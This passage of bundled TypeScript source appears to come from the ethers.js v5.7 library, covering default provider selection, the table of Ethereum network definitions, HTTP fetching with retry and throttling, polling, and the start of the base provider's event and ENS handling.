from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\n////////////////////////\n// Helper Functions\n\nfunction getDefaultProvider(network?: Networkish, options?: any): BaseProvider {\n if (network == null) { network = \"homestead\"; }\n\n // If passed a URL, figure out the right type of provider based on the scheme\n if (typeof(network) === \"string\") {\n // @TODO: Add support for IpcProvider; maybe if it ends in \".ipc\"?\n\n // Handle http and ws (and their secure variants)\n const match = network.match(/^(ws|http)s?:/i);\n if (match) {\n switch (match[1].toLowerCase()) {\n case \"http\": case \"https\":\n return new JsonRpcProvider(network);\n case \"ws\": case \"wss\":\n return new WebSocketProvider(network);\n default:\n logger.throwArgumentError(\"unsupported URL scheme\", \"network\", network);\n }\n }\n }\n\n const n = getNetwork(network);\n if (!n || !n._defaultProvider) {\n logger.throwError(\"unsupported getDefaultProvider network\", Logger.errors.NETWORK_ERROR, {\n operation: \"getDefaultProvider\",\n network: network\n });\n }\n\n return n._defaultProvider({\n FallbackProvider,\n\n AlchemyProvider,\n AnkrProvider,\n CloudflareProvider,\n EtherscanProvider,\n InfuraProvider,\n JsonRpcProvider,\n NodesmithProvider,\n PocketProvider,\n Web3Provider,\n\n IpcProvider,\n }, options);\n}\n\n////////////////////////\n// Exports\n\nexport {\n\n // Abstract Providers (or Abstract-ish)\n Provider,\n BaseProvider,\n\n Resolver,\n\n UrlJsonRpcProvider,\n\n ///////////////////////\n // Concrete Providers\n\n FallbackProvider,\n\n AlchemyProvider,\n AlchemyWebSocketProvider,\n AnkrProvider,\n CloudflareProvider,\n EtherscanProvider,\n InfuraProvider,\n InfuraWebSocketProvider,\n JsonRpcProvider,\n JsonRpcBatchProvider,\n NodesmithProvider,\n PocketProvider,\n StaticJsonRpcProvider,\n Web3Provider,\n WebSocketProvider,\n\n IpcProvider,\n\n\n ///////////////////////\n // Signer\n\n JsonRpcSigner,\n\n\n ///////////////////////\n // Functions\n\n getDefaultProvider,\n getNetwork,\n isCommunityResource,\n isCommunityResourcable,\n showThrottleMessage,\n\n\n ///////////////////////\n // Objects\n\n Formatter,\n\n\n ///////////////////////\n // Types\n\n Block,\n BlockTag,\n EventType,\n FeeData,\n Filter,\n Log,\n Listener,\n TransactionReceipt,\n TransactionRequest,\n TransactionResponse,\n\n ExternalProvider,\n JsonRpcFetchFunc,\n\n FallbackProviderConfig,\n\n Network,\n Networkish,\n\n EnsProvider,\n EnsResolver,\n\n CommunityResourcable\n};\n\n", "export const version = \"networks/5.7.1\";\n", "\"use strict\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { Network, Networkish } from \"./types\";\n\nexport {\n Network,\n Networkish\n};\n\ntype DefaultProviderFunc = (providers: any, options?: any) => any;\n\ninterface Renetworkable extends DefaultProviderFunc {\n renetwork: (network: Network) => DefaultProviderFunc;\n};\n\nfunction isRenetworkable(value: any): value is Renetworkable {\n return (value && typeof(value.renetwork) === \"function\");\n}\n\nfunction ethDefaultProvider(network: string | Network): Renetworkable {\n const func = function(providers: any, options?: any): any {\n if (options == null) { options = { }; }\n const providerList: Array = [];\n\n if (providers.InfuraProvider && options.infura !== \"-\") {\n try {\n providerList.push(new providers.InfuraProvider(network, options.infura));\n } catch(error) { }\n }\n\n if (providers.EtherscanProvider && options.etherscan !== \"-\") {\n try {\n providerList.push(new providers.EtherscanProvider(network, options.etherscan));\n } catch(error) { }\n }\n\n if (providers.AlchemyProvider && options.alchemy !== \"-\") {\n try {\n providerList.push(new providers.AlchemyProvider(network, options.alchemy));\n } catch(error) { }\n }\n\n if (providers.PocketProvider && options.pocket !== \"-\") {\n // These networks are currently faulty on Pocket as their\n // network does not handle the Berlin hardfork, which is\n // live on these ones.\n // @TODO: This goes away once Pocket has upgraded their nodes\n const skip = [ \"goerli\", \"ropsten\", \"rinkeby\", \"sepolia\" ];\n try {\n const provider = new providers.PocketProvider(network, options.pocket);\n if (provider.network && skip.indexOf(provider.network.name) === -1) {\n providerList.push(provider);\n }\n } catch(error) { }\n }\n\n if (providers.CloudflareProvider && options.cloudflare !== \"-\") {\n try {\n providerList.push(new providers.CloudflareProvider(network));\n } catch(error) { }\n }\n\n if (providers.AnkrProvider && options.ankr !== \"-\") {\n try {\n const skip = [ \"ropsten\" ];\n const provider = new providers.AnkrProvider(network, options.ankr);\n if (provider.network && skip.indexOf(provider.network.name) === -1) {\n providerList.push(provider);\n }\n } catch(error) { }\n }\n\n if (providerList.length === 0) { return null; }\n\n if (providers.FallbackProvider) {\n let quorum = 1;\n if (options.quorum != null) {\n quorum = options.quorum;\n } else if (network === \"homestead\") {\n quorum = 2;\n }\n return new providers.FallbackProvider(providerList, quorum);\n }\n\n return providerList[0];\n };\n\n func.renetwork = function(network: Network) {\n return ethDefaultProvider(network);\n };\n\n return func;\n}\n\nfunction etcDefaultProvider(url: string, network: string | Network): Renetworkable {\n const func = function(providers: any, options?: any): any {\n if (providers.JsonRpcProvider) {\n return new providers.JsonRpcProvider(url, network);\n }\n\n return null;\n };\n\n func.renetwork = function(network: Network) {\n return etcDefaultProvider(url, network);\n };\n\n return func;\n}\n\nconst homestead: Network = {\n chainId: 1,\n ensAddress: \"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\",\n name: \"homestead\",\n _defaultProvider: ethDefaultProvider(\"homestead\")\n};\n\nconst ropsten: Network = {\n chainId: 3,\n ensAddress: \"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\",\n name: \"ropsten\",\n _defaultProvider: ethDefaultProvider(\"ropsten\")\n};\n\nconst classicMordor: Network = {\n chainId: 63,\n name: \"classicMordor\",\n _defaultProvider: etcDefaultProvider(\"https://www.ethercluster.com/mordor\", \"classicMordor\")\n};\n\n// See: https://chainlist.org\nconst networks: { [name: string]: Network } = {\n unspecified: { chainId: 0, name: \"unspecified\" },\n\n homestead: homestead,\n mainnet: homestead,\n\n morden: { chainId: 2, name: \"morden\" },\n\n ropsten: ropsten,\n testnet: ropsten,\n\n rinkeby: {\n chainId: 4,\n ensAddress: \"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\",\n name: \"rinkeby\",\n _defaultProvider: ethDefaultProvider(\"rinkeby\")\n },\n\n kovan: {\n chainId: 42,\n name: \"kovan\",\n _defaultProvider: ethDefaultProvider(\"kovan\")\n },\n\n goerli: {\n chainId: 5,\n ensAddress: \"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\",\n name: \"goerli\",\n _defaultProvider: ethDefaultProvider(\"goerli\")\n },\n\n kintsugi: { chainId: 1337702, name: \"kintsugi\" },\n\n sepolia: {\n chainId: 11155111,\n name: \"sepolia\",\n _defaultProvider: ethDefaultProvider(\"sepolia\")\n },\n\n\n // ETC (See: #351)\n classic: {\n chainId: 61,\n name: \"classic\",\n _defaultProvider: etcDefaultProvider(\"https:/\\/www.ethercluster.com/etc\", \"classic\")\n },\n\n classicMorden: { chainId: 62, name: \"classicMorden\" },\n\n classicMordor: classicMordor,\n classicTestnet: classicMordor,\n\n classicKotti: {\n chainId: 6,\n name: \"classicKotti\",\n _defaultProvider: etcDefaultProvider(\"https:/\\/www.ethercluster.com/kotti\", \"classicKotti\")\n },\n\n xdai: { chainId: 100, name: \"xdai\" },\n\n matic: {\n chainId: 137,\n name: \"matic\",\n _defaultProvider: ethDefaultProvider(\"matic\")\n },\n maticmum: { chainId: 80001, name: \"maticmum\" },\n\n optimism: {\n chainId: 10,\n name: \"optimism\",\n _defaultProvider: ethDefaultProvider(\"optimism\")\n },\n \"optimism-kovan\": { chainId: 69, name: \"optimism-kovan\" },\n \"optimism-goerli\": { chainId: 420, name: \"optimism-goerli\" },\n\n arbitrum: { chainId: 42161, name: \"arbitrum\" },\n \"arbitrum-rinkeby\": { chainId: 421611, name: \"arbitrum-rinkeby\" },\n \"arbitrum-goerli\": { chainId: 421613, name: \"arbitrum-goerli\" },\n\n bnb: { chainId: 56, name: \"bnb\" },\n bnbt: { chainId: 97, name: \"bnbt\" },\n}\n\n/**\n * getNetwork\n *\n * Converts a named common networks or chain ID (network ID) to a Network\n * and verifies a network is a valid Network..\n */\nexport function getNetwork(network: Networkish): Network {\n // No network (null)\n if (network == null) { return null; }\n\n if (typeof(network) === \"number\") {\n for (const name in networks) {\n const standard = networks[name];\n if (standard.chainId === network) {\n return {\n name: standard.name,\n chainId: standard.chainId,\n ensAddress: (standard.ensAddress || null),\n _defaultProvider: (standard._defaultProvider || null)\n };\n }\n }\n\n return {\n chainId: network,\n name: \"unknown\"\n };\n }\n\n if (typeof(network) === \"string\") {\n const standard = networks[network];\n if (standard == null) { return null; }\n return {\n name: standard.name,\n chainId: standard.chainId,\n ensAddress: standard.ensAddress,\n _defaultProvider: (standard._defaultProvider || null)\n };\n }\n\n const standard = networks[network.name];\n\n // Not a standard network; check that it is a valid network in general\n if (!standard) {\n if (typeof(network.chainId) !== \"number\") {\n logger.throwArgumentError(\"invalid network chainId\", \"network\", network);\n }\n return network;\n }\n\n // Make sure the chainId matches the expected network chainId (or is 0; disable EIP-155)\n if (network.chainId !== 0 && network.chainId !== standard.chainId) {\n logger.throwArgumentError(\"network chainId mismatch\", \"network\", network);\n }\n\n // @TODO: In the next major version add an attach function to a defaultProvider\n // class and move the _defaultProvider internal to this file (extend Network)\n let defaultProvider: DefaultProviderFunc = network._defaultProvider || null;\n if (defaultProvider == null && standard._defaultProvider) {\n if (isRenetworkable(standard._defaultProvider)) {\n defaultProvider = standard._defaultProvider.renetwork(network);\n } else {\n defaultProvider = standard._defaultProvider;\n }\n }\n\n // Standard Network (allow overriding the ENS address)\n return {\n name: network.name,\n chainId: standard.chainId,\n ensAddress: (network.ensAddress || standard.ensAddress || null),\n _defaultProvider: defaultProvider\n };\n}\n", "export const version = \"web/5.7.1\";\n", "\"use strict\";\n\nimport { arrayify } from \"@ethersproject/bytes\";\n\nimport type { GetUrlResponse, Options } from \"./types\";\n\nexport { GetUrlResponse, Options };\n\nexport async function getUrl(href: string, options?: Options): Promise {\n if (options == null) { options = { }; }\n\n const request: RequestInit = {\n method: (options.method || \"GET\"),\n headers: (options.headers || { }),\n body: (options.body || undefined),\n };\n\n if (options.skipFetchSetup !== true) {\n request.mode = \"cors\"; // no-cors, cors, *same-origin\n request.cache = \"no-cache\"; // *default, no-cache, reload, force-cache, only-if-cached\n request.credentials = \"same-origin\"; // include, *same-origin, omit\n request.redirect = \"follow\"; // manual, *follow, error\n request.referrer = \"client\"; // no-referrer, *client\n };\n\n if (options.fetchOptions != null) {\n const opts = options.fetchOptions;\n if (opts.mode) { request.mode = (opts.mode); }\n if (opts.cache) { request.cache = (opts.cache); }\n if (opts.credentials) { request.credentials = (opts.credentials); }\n if (opts.redirect) { request.redirect = (opts.redirect); }\n if (opts.referrer) { request.referrer = opts.referrer; }\n }\n\n const response = await fetch(href, request);\n const body = await response.arrayBuffer();\n\n const headers: { [ name: string ]: string } = { };\n if (response.headers.forEach) {\n response.headers.forEach((value, key) => {\n headers[key.toLowerCase()] = value;\n });\n } else {\n (<() => Array>(((response.headers)).keys))().forEach((key) => {\n headers[key.toLowerCase()] = response.headers.get(key);\n });\n }\n\n return {\n headers: headers,\n statusCode: response.status,\n statusMessage: response.statusText,\n body: arrayify(new Uint8Array(body)),\n }\n}\n", "\"use strict\";\n\nimport { decode as base64Decode, encode as base64Encode } from \"@ethersproject/base64\";\nimport { hexlify, isBytesLike } from \"@ethersproject/bytes\";\nimport { shallowCopy } from \"@ethersproject/properties\";\nimport { toUtf8Bytes, toUtf8String } from \"@ethersproject/strings\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { getUrl, GetUrlResponse, Options } from \"./geturl\";\n\nfunction staller(duration: number): Promise {\n return new Promise((resolve) => {\n setTimeout(resolve, duration);\n });\n}\n\nfunction bodyify(value: any, type: string): string {\n if (value == null) { return null; }\n\n if (typeof(value) === \"string\") { return value; }\n\n if (isBytesLike(value)) {\n if (type && (type.split(\"/\")[0] === \"text\" || type.split(\";\")[0].trim() === \"application/json\")) {\n try {\n return toUtf8String(value);\n } catch (error) { };\n }\n return hexlify(value);\n }\n\n return value;\n}\n\n// Exported Types\nexport type ConnectionInfo = {\n url: string,\n headers?: { [key: string]: string | number }\n\n user?: string,\n password?: string,\n\n allowInsecureAuthentication?: boolean,\n allowGzip?: boolean,\n\n throttleLimit?: number,\n throttleSlotInterval?: number;\n throttleCallback?: (attempt: number, url: string) => Promise,\n\n skipFetchSetup?: boolean;\n fetchOptions?: Record;\n errorPassThrough?: boolean;\n\n timeout?: number,\n};\n\nexport interface OnceBlockable {\n once(eventName: \"block\", handler: () => void): void;\n}\n\nexport interface OncePollable {\n once(eventName: \"poll\", handler: () => void): void;\n}\n\nexport type PollOptions = {\n timeout?: number,\n floor?: number,\n ceiling?: number,\n interval?: number,\n retryLimit?: number,\n onceBlock?: OnceBlockable\n oncePoll?: OncePollable\n};\n\nexport type FetchJsonResponse = {\n statusCode: number;\n headers: { [ header: string ]: string };\n};\n\n\ntype Header = { key: string, value: string };\n\nfunction unpercent(value: string): Uint8Array {\n return toUtf8Bytes(value.replace(/%([0-9a-f][0-9a-f])/gi, (all, code) => {\n return String.fromCharCode(parseInt(code, 16));\n }));\n}\n\n// This API is still a work in progress; the future changes will likely be:\n// - ConnectionInfo => FetchDataRequest\n// - FetchDataRequest.body? = string | Uint8Array | { contentType: string, data: string | Uint8Array }\n// - If string => text/plain, Uint8Array => application/octet-stream (if content-type unspecified)\n// - FetchDataRequest.processFunc = (body: Uint8Array, response: FetchDataResponse) => T\n// For this reason, it should be considered internal until the API is finalized\nexport function _fetchData(connection: string | ConnectionInfo, body?: Uint8Array, processFunc?: (value: Uint8Array, response: FetchJsonResponse) => T): Promise {\n\n // How many times to retry in the event of a throttle\n const attemptLimit = (typeof(connection) === \"object\" && connection.throttleLimit != null) ? connection.throttleLimit: 12;\n logger.assertArgument((attemptLimit > 0 && (attemptLimit % 1) === 0),\n \"invalid connection throttle limit\", \"connection.throttleLimit\", attemptLimit);\n\n const throttleCallback = ((typeof(connection) === \"object\") ? connection.throttleCallback: null);\n const throttleSlotInterval = ((typeof(connection) === \"object\" && typeof(connection.throttleSlotInterval) === \"number\") ? connection.throttleSlotInterval: 100);\n logger.assertArgument((throttleSlotInterval > 0 && (throttleSlotInterval % 1) === 0),\n \"invalid connection throttle slot interval\", \"connection.throttleSlotInterval\", throttleSlotInterval);\n\n const errorPassThrough = ((typeof(connection) === \"object\") ? !!(connection.errorPassThrough): false);\n\n const headers: { [key: string]: Header } = { };\n\n let url: string = null;\n\n // @TODO: Allow ConnectionInfo to override some of these values\n const options: Options = {\n method: \"GET\",\n };\n\n let allow304 = false;\n\n let timeout = 2 * 60 * 1000;\n\n if (typeof(connection) === \"string\") {\n url = connection;\n\n } else if (typeof(connection) === \"object\") {\n if (connection == null || connection.url == null) {\n logger.throwArgumentError(\"missing URL\", \"connection.url\", connection);\n }\n\n url = connection.url;\n\n if (typeof(connection.timeout) === \"number\" && connection.timeout > 0) {\n timeout = connection.timeout;\n }\n\n if (connection.headers) {\n for (const key in connection.headers) {\n headers[key.toLowerCase()] = { key: key, value: String(connection.headers[key]) };\n if ([\"if-none-match\", \"if-modified-since\"].indexOf(key.toLowerCase()) >= 0) {\n allow304 = true;\n }\n }\n }\n\n options.allowGzip = !!connection.allowGzip;\n\n if (connection.user != null && connection.password != null) {\n if (url.substring(0, 6) !== \"https:\" && connection.allowInsecureAuthentication !== true) {\n logger.throwError(\n \"basic authentication requires a secure https url\",\n Logger.errors.INVALID_ARGUMENT,\n { argument: \"url\", url: url, user: connection.user, password: \"[REDACTED]\" }\n );\n }\n\n const authorization = connection.user + \":\" + connection.password;\n headers[\"authorization\"] = {\n key: \"Authorization\",\n value: \"Basic \" + base64Encode(toUtf8Bytes(authorization))\n };\n }\n\n if (connection.skipFetchSetup != null) {\n options.skipFetchSetup = !!connection.skipFetchSetup;\n }\n\n if (connection.fetchOptions != null) {\n options.fetchOptions = shallowCopy(connection.fetchOptions);\n }\n }\n\n const reData = new RegExp(\"^data:([^;:]*)?(;base64)?,(.*)$\", \"i\");\n const dataMatch = ((url) ? url.match(reData): null);\n if (dataMatch) {\n try {\n const response = {\n statusCode: 200,\n statusMessage: \"OK\",\n headers: { \"content-type\": (dataMatch[1] || \"text/plain\")},\n body: (dataMatch[2] ? base64Decode(dataMatch[3]): unpercent(dataMatch[3]))\n };\n\n let result: T = response.body;\n if (processFunc) {\n result = processFunc(response.body, response);\n }\n return Promise.resolve(result);\n\n } catch (error) {\n logger.throwError(\"processing response error\", Logger.errors.SERVER_ERROR, {\n body: bodyify(dataMatch[1], dataMatch[2]),\n error: error,\n requestBody: null,\n requestMethod: \"GET\",\n url: url\n });\n }\n }\n\n if (body) {\n options.method = \"POST\";\n options.body = body;\n if (headers[\"content-type\"] == null) {\n headers[\"content-type\"] = { key: \"Content-Type\", value: \"application/octet-stream\" };\n }\n if (headers[\"content-length\"] == null) {\n headers[\"content-length\"] = { key: \"Content-Length\", value: String(body.length) };\n }\n }\n\n const flatHeaders: { [ key: string ]: string } = { };\n Object.keys(headers).forEach((key) => {\n const header = headers[key];\n flatHeaders[header.key] = header.value;\n });\n options.headers = flatHeaders;\n\n const runningTimeout = (function() {\n let timer: NodeJS.Timer = null;\n const promise: Promise = new Promise(function(resolve, reject) {\n if (timeout) {\n timer = setTimeout(() => {\n if (timer == null) { return; }\n timer = null;\n\n reject(logger.makeError(\"timeout\", Logger.errors.TIMEOUT, {\n requestBody: bodyify(options.body, flatHeaders[\"content-type\"]),\n requestMethod: options.method,\n timeout: timeout,\n url: url\n }));\n }, timeout);\n }\n });\n\n const cancel = function() {\n if (timer == null) { return; }\n clearTimeout(timer);\n timer = null;\n }\n\n return { promise, cancel };\n })();\n\n const runningFetch = (async function() {\n\n for (let attempt = 0; attempt < attemptLimit; attempt++) {\n let response: GetUrlResponse = null;\n\n try {\n response = await getUrl(url, options);\n\n if (attempt < attemptLimit) {\n if (response.statusCode === 301 || response.statusCode === 302) {\n // Redirection; for now we only support absolute locataions\n const location = response.headers.location || \"\";\n if (options.method === \"GET\" && location.match(/^https:/)) {\n url = response.headers.location;\n continue;\n }\n\n } else if (response.statusCode === 429) {\n // Exponential back-off throttling\n let tryAgain = true;\n if (throttleCallback) {\n tryAgain = await throttleCallback(attempt, url);\n }\n\n if (tryAgain) {\n let stall = 0;\n\n const retryAfter = response.headers[\"retry-after\"];\n if (typeof(retryAfter) === \"string\" && retryAfter.match(/^[1-9][0-9]*$/)) {\n stall = parseInt(retryAfter) * 1000;\n } else {\n stall = throttleSlotInterval * parseInt(String(Math.random() * Math.pow(2, attempt)));\n }\n\n //console.log(\"Stalling 429\");\n await staller(stall);\n continue;\n }\n }\n }\n\n } catch (error) {\n response = (error).response;\n if (response == null) {\n runningTimeout.cancel();\n logger.throwError(\"missing response\", Logger.errors.SERVER_ERROR, {\n requestBody: bodyify(options.body, flatHeaders[\"content-type\"]),\n requestMethod: options.method,\n serverError: error,\n url: url\n });\n }\n }\n\n\n let body = response.body;\n\n if (allow304 && response.statusCode === 304) {\n body = null;\n } else if (!errorPassThrough && (response.statusCode < 200 || response.statusCode >= 300)) {\n runningTimeout.cancel();\n logger.throwError(\"bad response\", Logger.errors.SERVER_ERROR, {\n status: response.statusCode,\n headers: response.headers,\n body: bodyify(body, ((response.headers) ? response.headers[\"content-type\"]: null)),\n requestBody: bodyify(options.body, flatHeaders[\"content-type\"]),\n requestMethod: options.method,\n url: url\n });\n }\n\n if (processFunc) {\n try {\n const result = await processFunc(body, response);\n runningTimeout.cancel();\n return result;\n\n } catch (error) {\n // Allow the processFunc to trigger a throttle\n if (error.throttleRetry && attempt < attemptLimit) {\n let tryAgain = true;\n if (throttleCallback) {\n tryAgain = await throttleCallback(attempt, url);\n }\n\n if (tryAgain) {\n const timeout = throttleSlotInterval * parseInt(String(Math.random() * Math.pow(2, attempt)));\n //console.log(\"Stalling callback\");\n await staller(timeout);\n continue;\n }\n }\n\n runningTimeout.cancel();\n logger.throwError(\"processing response error\", Logger.errors.SERVER_ERROR, {\n body: bodyify(body, ((response.headers) ? response.headers[\"content-type\"]: null)),\n error: error,\n requestBody: bodyify(options.body, flatHeaders[\"content-type\"]),\n requestMethod: options.method,\n url: url\n });\n }\n }\n\n runningTimeout.cancel();\n\n // If we had a processFunc, it either returned a T or threw above.\n // The \"body\" is now a Uint8Array.\n return (body);\n }\n\n return logger.throwError(\"failed response\", Logger.errors.SERVER_ERROR, {\n requestBody: bodyify(options.body, flatHeaders[\"content-type\"]),\n requestMethod: options.method,\n url: url\n });\n })();\n\n return Promise.race([ runningTimeout.promise, runningFetch ]);\n}\n\nexport function fetchJson(connection: string | ConnectionInfo, json?: string, processFunc?: (value: any, response: FetchJsonResponse) => any): Promise {\n let processJsonFunc = (value: Uint8Array, response: FetchJsonResponse) => {\n let result: any = null;\n if (value != null) {\n try {\n result = JSON.parse(toUtf8String(value));\n } catch (error) {\n logger.throwError(\"invalid JSON\", Logger.errors.SERVER_ERROR, {\n body: value,\n error: error\n });\n }\n }\n\n if (processFunc) {\n result = processFunc(result, response);\n }\n\n return result;\n }\n\n // If we have json to send, we must\n // - add content-type of application/json (unless already overridden)\n // - convert the json to bytes\n let body: Uint8Array = null;\n if (json != null) {\n body = toUtf8Bytes(json);\n\n // Create a connection with the content-type set for JSON\n const updated: ConnectionInfo = (typeof(connection) === \"string\") ? ({ url: connection }): shallowCopy(connection);\n if (updated.headers) {\n const hasContentType = (Object.keys(updated.headers).filter((k) => (k.toLowerCase() === \"content-type\")).length) !== 0;\n if (!hasContentType) {\n updated.headers = shallowCopy(updated.headers);\n updated.headers[\"content-type\"] = \"application/json\";\n }\n } else {\n updated.headers = { \"content-type\": \"application/json\" };\n }\n connection = updated;\n }\n\n return _fetchData(connection, body, processJsonFunc);\n}\n\nexport function poll(func: () => Promise, options?: PollOptions): Promise {\n if (!options) { options = {}; }\n options = shallowCopy(options);\n if (options.floor == null) { options.floor = 0; }\n if (options.ceiling == null) { options.ceiling = 10000; }\n if (options.interval == null) { options.interval = 250; }\n\n return new Promise(function(resolve, reject) {\n\n let timer: NodeJS.Timer = null;\n let done: boolean = false;\n\n // Returns true if cancel was successful. Unsuccessful cancel means we're already done.\n const cancel = (): boolean => {\n if (done) { return false; }\n done = true;\n if (timer) { clearTimeout(timer); }\n return true;\n };\n\n if (options.timeout) {\n timer = setTimeout(() => {\n if (cancel()) { reject(new Error(\"timeout\")); }\n }, options.timeout)\n }\n\n const retryLimit = options.retryLimit;\n\n let attempt = 0;\n function check() {\n return func().then(function(result) {\n\n // If we have a result, or are allowed null then we're done\n if (result !== undefined) {\n if (cancel()) { resolve(result); }\n\n } else if (options.oncePoll) {\n options.oncePoll.once(\"poll\", check);\n\n } else if (options.onceBlock) {\n options.onceBlock.once(\"block\", check);\n\n // Otherwise, exponential back-off (up to 10s) our next request\n } else if (!done) {\n attempt++;\n if (attempt > retryLimit) {\n if (cancel()) { reject(new Error(\"retry limit reached\")); }\n return;\n }\n\n let timeout = options.interval * parseInt(String(Math.random() * Math.pow(2, attempt)));\n if (timeout < options.floor) { timeout = options.floor; }\n if (timeout > options.ceiling) { timeout = options.ceiling; }\n\n setTimeout(check, timeout);\n }\n\n return null;\n }, function(error) {\n if (cancel()) { reject(error); }\n });\n }\n check();\n });\n}\n\n", "\"use strict\";\n\nimport {\n Block, BlockTag, BlockWithTransactions, EventType, Filter, FilterByBlockHash, ForkEvent,\n Listener, Log, Provider, TransactionReceipt, TransactionRequest, TransactionResponse\n} from \"@ethersproject/abstract-provider\";\nimport { encode as base64Encode } from \"@ethersproject/base64\";\nimport { Base58 } from \"@ethersproject/basex\";\nimport { BigNumber, BigNumberish } from \"@ethersproject/bignumber\";\nimport { arrayify, BytesLike, concat, hexConcat, hexDataLength, hexDataSlice, hexlify, hexValue, hexZeroPad, isHexString } from \"@ethersproject/bytes\";\nimport { HashZero } from \"@ethersproject/constants\";\nimport { dnsEncode, namehash } from \"@ethersproject/hash\";\nimport { getNetwork, Network, Networkish } from \"@ethersproject/networks\";\nimport { Deferrable, defineReadOnly, getStatic, resolveProperties } from \"@ethersproject/properties\";\nimport { Transaction } from \"@ethersproject/transactions\";\nimport { sha256 } from \"@ethersproject/sha2\";\nimport { toUtf8Bytes, toUtf8String } from \"@ethersproject/strings\";\nimport { fetchJson, poll } from \"@ethersproject/web\";\n\nimport bech32 from \"bech32\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { Formatter } from \"./formatter\";\n\nconst MAX_CCIP_REDIRECTS = 10;\n\n//////////////////////////////\n// Event Serializeing\n\nfunction checkTopic(topic: string): string {\n if (topic == null) { return \"null\"; }\n if (hexDataLength(topic) !== 32) {\n logger.throwArgumentError(\"invalid topic\", \"topic\", topic);\n }\n return topic.toLowerCase();\n}\n\nfunction serializeTopics(topics: Array>): string {\n // Remove trailing null AND-topics; they are redundant\n topics = topics.slice();\n while (topics.length > 0 && topics[topics.length - 1] == null) { topics.pop(); }\n\n return topics.map((topic) => {\n if (Array.isArray(topic)) {\n\n // Only track unique OR-topics\n const unique: { [ topic: string ]: boolean } = { }\n topic.forEach((topic) => {\n unique[checkTopic(topic)] = true;\n });\n\n // The order of OR-topics does not matter\n const sorted = Object.keys(unique);\n sorted.sort();\n\n return sorted.join(\"|\");\n\n } else {\n return checkTopic(topic);\n }\n }).join(\"&\");\n}\n\nfunction deserializeTopics(data: string): Array> {\n if (data === \"\") { return [ ]; }\n\n return data.split(/&/g).map((topic) => {\n if (topic === \"\") { return [ ]; }\n\n const comps = topic.split(\"|\").map((topic) => {\n return ((topic === \"null\") ? null: topic);\n });\n\n return ((comps.length === 1) ? comps[0]: comps);\n });\n}\n\nfunction getEventTag(eventName: EventType): string {\n if (typeof(eventName) === \"string\") {\n eventName = eventName.toLowerCase();\n\n if (hexDataLength(eventName) === 32) {\n return \"tx:\" + eventName;\n }\n\n if (eventName.indexOf(\":\") === -1) {\n return eventName;\n }\n\n } else if (Array.isArray(eventName)) {\n return \"filter:*:\" + serializeTopics(eventName);\n\n } else if (ForkEvent.isForkEvent(eventName)) {\n logger.warn(\"not implemented\");\n throw new Error(\"not implemented\");\n\n } else if (eventName && typeof(eventName) === \"object\") {\n return \"filter:\" + (eventName.address || \"*\") + \":\" + serializeTopics(eventName.topics || []);\n }\n\n throw new Error(\"invalid event - \" + eventName);\n}\n\n//////////////////////////////\n// Helper Object\n\nfunction getTime() {\n return (new Date()).getTime();\n}\n\nfunction stall(duration: number): Promise {\n return new Promise((resolve) => {\n setTimeout(resolve, duration);\n });\n}\n\n//////////////////////////////\n// Provider Object\n\n\n/**\n * EventType\n * - \"block\"\n * - \"poll\"\n * - \"didPoll\"\n * - \"pending\"\n * - \"error\"\n * - \"network\"\n * - filter\n * - topics array\n * - transaction hash\n */\n\nconst PollableEvents = [ \"block\", \"network\", \"pending\", \"poll\" ];\n\nexport class Event {\n readonly listener: Listener;\n readonly once: boolean;\n readonly tag: string;\n\n _lastBlockNumber: number\n _inflight: boolean;\n\n constructor(tag: string, listener: Listener, once: boolean) {\n defineReadOnly(this, \"tag\", tag);\n defineReadOnly(this, \"listener\", listener);\n defineReadOnly(this, \"once\", once);\n\n this._lastBlockNumber = -2;\n this._inflight = false;\n }\n\n get event(): EventType {\n switch (this.type) {\n case \"tx\":\n return this.hash;\n case \"filter\":\n return this.filter;\n }\n return this.tag;\n }\n\n get type(): string {\n return this.tag.split(\":\")[0]\n }\n\n get hash(): string {\n const comps = this.tag.split(\":\");\n if (comps[0] !== \"tx\") { return null; }\n return comps[1];\n }\n\n get filter(): Filter {\n const comps = this.tag.split(\":\");\n if (comps[0] !== \"filter\") { return null; }\n const address = comps[1];\n\n const topics = deserializeTopics(comps[2]);\n const filter: Filter = { };\n\n if (topics.length > 0) { filter.topics = topics; }\n if (address && address !== \"*\") { filter.address = address; }\n\n return filter;\n }\n\n pollable(): boolean {\n return (this.tag.indexOf(\":\") >= 0 || PollableEvents.indexOf(this.tag) >= 0);\n }\n}\n\nexport interface EnsResolver {\n\n // Name this Resolver is associated with\n readonly name: string;\n\n // The address of the resolver\n readonly address: string;\n\n // Multichain address resolution (also normal address resolution)\n // See: https://eips.ethereum.org/EIPS/eip-2304\n getAddress(coinType?: 60): Promise\n\n // Contenthash field\n // See: https://eips.ethereum.org/EIPS/eip-1577\n getContentHash(): Promise;\n\n // Storage of text records\n // See: https://eips.ethereum.org/EIPS/eip-634\n getText(key: string): Promise;\n};\n\nexport interface EnsProvider {\n resolveName(name: string): Promise;\n lookupAddress(address: string): Promise;\n getResolver(name: string): Promise;\n}\n\ntype CoinInfo = {\n symbol: string,\n ilk?: string, // General family\n prefix?: string, // Bech32 prefix\n p2pkh?: number, // Pay-to-Public-Key-Hash Version\n p2sh?: number, // Pay-to-Script-Hash Version\n};\n\n// https://github.com/satoshilabs/slips/blob/master/slip-0044.md\nconst coinInfos: { [ coinType: string ]: CoinInfo } = {\n \"0\": { symbol: \"btc\", p2pkh: 0x00, p2sh: 0x05, prefix: \"bc\" },\n \"2\": { symbol: \"ltc\", p2pkh: 0x30, p2sh: 0x32, prefix: \"ltc\" },\n \"3\": { symbol: \"doge\", p2pkh: 0x1e, p2sh: 0x16 },\n \"60\": { symbol: \"eth\", ilk: \"eth\" },\n \"61\": { symbol: \"etc\", ilk: \"eth\" },\n \"700\": { symbol: \"xdai\", ilk: \"eth\" },\n};\n\nfunction bytes32ify(value: number): string {\n return hexZeroPad(BigNumber.from(value).toHexString(), 32);\n}\n\n// Compute the Base58Check encoded 